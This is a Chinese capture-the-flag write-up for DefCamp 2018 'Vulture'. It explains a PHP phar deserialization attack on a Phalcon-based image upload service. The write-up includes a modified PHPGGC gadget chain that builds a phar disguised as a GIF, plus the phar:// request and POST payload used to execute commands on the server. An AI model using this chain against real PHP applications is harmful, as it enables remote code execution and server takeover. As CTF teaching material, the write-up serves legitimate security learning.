Defcamp(DCTF) 2018-Vulture phar反序列化攻击

栏目: PHP · 发布时间: 7年前

内容简介:这是defcamp ctf 2018 vulture 的题解,使用的方法为利用phar拓展进行PHP反序列化攻击。打开网站后发现是一个图片留言板一类的东西,用户可以上传一张图片和描述图片的文字。经过测试后发现如果选择不存在的图片时会报

前言

这是defcamp ctf 2018 vulture 的题解,使用的方法为利用phar拓展进行 PHP 反序列化攻击。

We created an online service where you can upload pictures of vultures (or other birds). Each user has a feed so you can privately enjoy the photos you took of this majestic killing machines :) Target: https://vulture.dctfq18.def.camp/ Author: Anatol

打开网站后发现是一个图片留言板一类的东西,用户可以上传一张图片和描述图片的文字。

经过测试后发现如果选择不存在的图片时会报 Image not found 的错误。所以这里很有可能使用了 file_exists 去检查文件是否存在。

Defcamp(DCTF) 2018-Vulture phar反序列化攻击

Defcamp(DCTF) 2018-Vulture phar反序列化攻击

在知道创宇的一篇 文章 中提到过利用phar进行反序列化攻击的例子(这里不再赘述,建议直接看原文。)。而他的利用条件是:

Defcamp(DCTF) 2018-Vulture phar反序列化攻击

在这道题中,题目的环境都满足利用条件。

在利用反序列化过程中需要找好可以任意代码执行的类,很显然,以目前的条件我们还得不到这样一个类。

当我们尝试访问一个不存在的页面时会爆出如下错误:

Exception: xxxController handler class cannot be loaded

Defcamp(DCTF) 2018-Vulture phar反序列化攻击

Google后可以发现这是一个叫 Phalcon 的PHP framework,而网上还有一个利器 PHPGGC: PHP Generic Gadget Chains ,它可以为我们生成ROP Gadget,类似于pwn。

项目地址:https://github.com/ambionics/phpggc

而这个项目里就含有这个框架的gadget。

Defcamp(DCTF) 2018-Vulture phar反序列化攻击

接下来我们修改 gadgetchains/Phalcon/RCE/1/chain.php

<?php

namespace GadgetChain\Phalcon;

class RCE1 extends \PHPGGC\GadgetChain\RCE
{
    public $version = '<= 1.2.2';
    public $vector = '__wakeup';
    public $author = 'Raz0r';
    public $informations = '
        This chain does not expect parameters, will eval() any code supplied in
        php://input (i.e. POST data). Requires allow_url_include = true.
    ';

    # No parameters expected
    public $parameters = [];

    public function generate(array $parameters)
    {
        @unlink('phar.phar');
        $p = new \Phar('phar.phar');
        $p->startBuffering();
        $p->setStub("GIF89a<?php xxx; __HALT_COMPILER();?>");
        $p->addFromString("test.txt", "test");
        $p->setMetadata(new \Phalcon\Logger\Adapter\File());
        $p->stopBuffering();
        return new \Phalcon\Logger\Adapter\File();
    }
}

使用 ./phpggc Phalcon/RCE1 得到exp:

Defcamp(DCTF) 2018-Vulture phar反序列化攻击

Defcamp(DCTF) 2018-Vulture phar反序列化攻击

可以看到生成的phar文件变成了GIF。我们将这个文件上传上去:

Defcamp(DCTF) 2018-Vulture phar反序列化攻击

这里注意到结果是 false 但这并不影响我们使用,实际上已经上传成功了。

接着根据phpggc的提示:

This chain does not expect parameters, will eval() any code supplied in
        php://input (i.e. POST data). Requires allow_url_include = true.

所以我们只需在post body里写命令执行的代码即可:

<?php die(`ls -la`);
/*ℑ=phar://uploads/5bb0ca3725e63.gif&text=123

Defcamp(DCTF) 2018-Vulture phar反序列化攻击

这里注意需要在 image 的前面加 & ,不然会造成错误。接着我们直接cat flag即可。

Defcamp(DCTF) 2018-Vulture phar反序列化攻击

参考链接

https://paper.seebug.org/680/

https://cyku.tw/ctf-defcamp-qualification-2018/


以上所述就是小编给大家介绍的《Defcamp(DCTF) 2018-Vulture phar反序列化攻击》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

从莎草纸到互联网:社交媒体2000年

从莎草纸到互联网:社交媒体2000年

[英]汤姆·斯丹迪奇 / 林华 / 中信出版社 / 2015-12 / 58.00元

【内容简介】 社交媒体其实并不是什么新鲜的东西。从西塞罗和其他古罗马政治家用来交换信息的莎草纸信,到宗教改革、美国革命、法国大革命期间印制的宣传小册子,过去人类跟同伴交流信息的方式依然影响着现代社会。在报纸、广播和电视在散播信息上面统治了几十年后,互联网的出现使社交媒体重新变成人们与朋友分享信息的有力工具,并推动公共讨论走向一个新的模式。 汤姆•斯丹迪奇在书中提醒我们历史上的社交网络其......一起来看看 《从莎草纸到互联网:社交媒体2000年》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

html转js在线工具
html转js在线工具

html转js在线工具